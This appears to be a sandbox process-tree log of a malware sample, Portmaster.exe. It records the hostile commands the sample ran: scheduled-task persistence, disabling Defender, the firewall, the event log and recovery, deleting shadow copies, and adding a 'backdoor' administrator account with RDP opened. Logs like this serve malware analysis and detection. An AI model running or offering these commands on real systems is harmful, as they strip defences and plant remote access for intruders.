C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f7⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 8988 -s 6685⤵
- Program crash
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add6⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow6⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 6648 -s 5364⤵
- Program crash
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f7⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures7⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"6⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add4⤵
- Remote Service Session Hijacking: RDP Hijacking
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exepowershell Set-MpPreference -DisableRealtimeMonitoring $true4⤵
- Disables one or more Microsoft Defender components
- Command and Scripting Interpreter: PowerShell
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"3⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f5⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off5⤵
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"4⤵
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"5⤵
-
-
-
-
-
C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"C:\Users\Admin\AppData\Local\Temp\Portmaster.exe"2⤵
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c schtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f3⤵
-
C:\Windows\SysWOW64\schtasks.exeschtasks /create /tn "SysUpdate" /tr "C:\Users\Admin\AppData\Local\Temp\Portmaster.exe" /sc onlogon /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableTaskMgr /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System" /v DisableRegistryTools /t REG_DWORD /d 1 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c powershell Set-MpPreference -DisableRealtimeMonitoring $true3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall set allprofiles state off3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall set allprofiles state off4⤵
- Modifies Windows Firewall
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c vssadmin delete shadows /all /quiet3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} recoveryenabled No3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c bcdedit /set {default} bootstatuspolicy ignoreallfailures3⤵
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reagentc /disable3⤵
-
C:\Windows\SysWOW64\ReAgentc.exereagentc /disable4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config wuauserv start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config wuauserv start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config WinDefend start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config WinDefend start= disabled4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config Schedule start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config Schedule start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c sc config EventLog start= disabled3⤵
-
C:\Windows\SysWOW64\sc.exesc config EventLog start= disabled4⤵
- Launches sc.exe
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net user backdoor P@ssw0rd123! /add3⤵
-
C:\Windows\SysWOW64\net.exenet user backdoor P@ssw0rd123! /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 user backdoor P@ssw0rd123! /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup administrators backdoor /add3⤵
-
C:\Windows\SysWOW64\net.exenet localgroup administrators backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup administrators backdoor /add5⤵
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c net localgroup "Remote Desktop Users" backdoor /add3⤵
- Remote Service Session Hijacking: RDP Hijacking
-
C:\Windows\SysWOW64\net.exenet localgroup "Remote Desktop Users" backdoor /add4⤵
-
C:\Windows\SysWOW64\net1.exeC:\Windows\system32\net1 localgroup "Remote Desktop Users" backdoor /add5⤵
- Remote Service Session Hijacking: RDP Hijacking
-
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f3⤵
-
C:\Windows\SysWOW64\reg.exereg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f4⤵
-
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c netsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow3⤵
-
C:\Windows\SysWOW64\netsh.exenetsh advfirewall firewall add rule name="RDP" dir=in protocol=tcp localport=3389 action=allow4⤵
- Modifies Windows Firewall
-
-
-
